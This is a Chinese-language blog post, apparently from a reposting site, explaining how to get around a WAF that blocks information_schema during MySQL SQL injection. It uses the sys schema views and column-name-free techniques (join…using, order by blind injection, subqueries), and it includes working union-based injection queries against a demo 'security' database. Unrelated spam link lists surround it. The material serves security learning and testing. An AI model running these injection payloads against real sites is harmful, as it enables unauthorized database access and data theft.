当前位置: 首页 > wzjs >正文

安徽城乡建设委员会的网站谷歌推广app

安徽城乡建设委员会的网站,谷歌推广app,郑州影楼网站建设,怎样做打赏网站目录 一、information_schema库的作用 二、获得表名 2.1 sys.schema_auto_increment_columns 2.2 schema_table_statistics 三、获得列名 join … using … order by盲注 子查询 在进行sql注入时,我们经常会使用information_schema来进行爆数据库名、表名、…

目录

一、information_schema库的作用

二、获得表名

2.1 sys.schema_auto_increment_columns

2.2 schema_table_statistics

三、获得列名

join … using …

order by盲注

子查询


在进行sql注入时,我们经常会使用information_schema来进行爆数据库名、表名、字段名,但是当waf禁用掉这个库时,我们应该如何爆出数据呢?这个时候我们可能会思考有没有可以替代它的库呢?

一、information_schema库的作用

那么想要找到替代它的库,我们首先要知道information_schema库的作用是什么?

        它是一个系统数据库,存储了MySQL服务器中所有其他数据库的元数据信息。提供对数据库、表、列、索引等元数据的访问,帮助我们了解数据库结构。很幸运在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。不仅保存了库名、表名还保存了自增字段的列名

二、获得表名

 2.1 sys.schema_auto_increment_columns

 当我们利用database()函数获得数据库名之后,可以利用这个视图去获得表名和列名

select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";

2.2 schema_table_statistics

而对于没有自增列的表名,这个视图是无法获取的。这个时候我们可以通过统计信息视图获得表名

schema_table_statistics_with_buffer
schema_table_statistics

select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
select table_name from sys.schema_table_statistics where table_schema = "security";

三、获得列名

对于schema_auto_increment_columns获得了表名,那么列名呢?这里我们就需要用到无列名注入

join … using …

select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。

order by盲注为何可以用于无列名注入呢?看个例子。

 select * from users where id='1' union select 1,2,'c' order by 3;
select * from users where id='1' union select 1,2,'d' order by 3; select * from users where id='1' union select 1,2,'e' order by 3; 

比如当我们需要猜解第三列的内容时,使用order by实例如下:

当猜测的值大于当前值时,会返回原来的数据即这里看第二列返回是否正常的username,否则会返回猜测的值。

子查询

子查询也能用于无列名注入,主要是结合union select联合查询构造列名再放到子查询中实现。

使用如下union联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:

select 1,2,3 union select * from users; 

接着使用子查询就能指定查询刚刚赋予的列名对应的列内容了:

select `3` from (select 1,2,3 union select * from users);  

http://www.dtcms.com/wzjs/54491.html

相关文章:

  • 网站地图提交互联网营销行业前景
  • 住房和城乡建设部官方网站已高端建站
  • 下载了wordpress进不了网页seo推广的常见目的有
  • wordpress 分享到微信二维码西安seo服务
  • 系网站建设总结报告网站开发的步骤
  • 网站到底怎么做出来的成人培训班有哪些课程
  • 购买建立网站费怎么做会计凭证站内推广方式
  • 独立网站怎么做推广制作一个网站的全过程
  • 做暧昧免费视频大全网站外链购买交易平台
  • 上海4a广告公司辽阳网站seo
  • 惠州建网站服务上海最新新闻热点事件
  • 广告网站怎么做搜狗网站收录
  • 莱特币做空网站新闻头条今日最新消息
  • 公司市场营销策划方案北京债务优化公司
  • 找做钢筋笼的活网站天津网站建设技术外包
  • 怎么做接口网站微信群推广平台有哪些
  • 北京做网站建设比较好的公司1688关键词怎么优化
  • 江苏省建设招标网站网站每天做100个外链
  • 全渠道运营平台系统手机流畅优化软件
  • 沈阳整站优化厦门seo推广
  • 上海公司注册流程及费用标准整站排名优化品牌
  • 佛山网站建设模板建站app开发需要哪些技术
  • 代做备案网站北京seo做排名
  • 建站平台网品牌网络推广
  • wordpress制作侧面悬浮图标秦洁婷seo博客
  • 网站整站程序我想学做互联网怎么入手
  • 百度糯米网站怎么做奶盘seo伪原创工具
  • 永久免费crm软件哪个好海阳seo排名
  • 做的好点的外贸网站有哪些整合营销传播策略
  • 模板建站小程序怎样弄一个自己的平台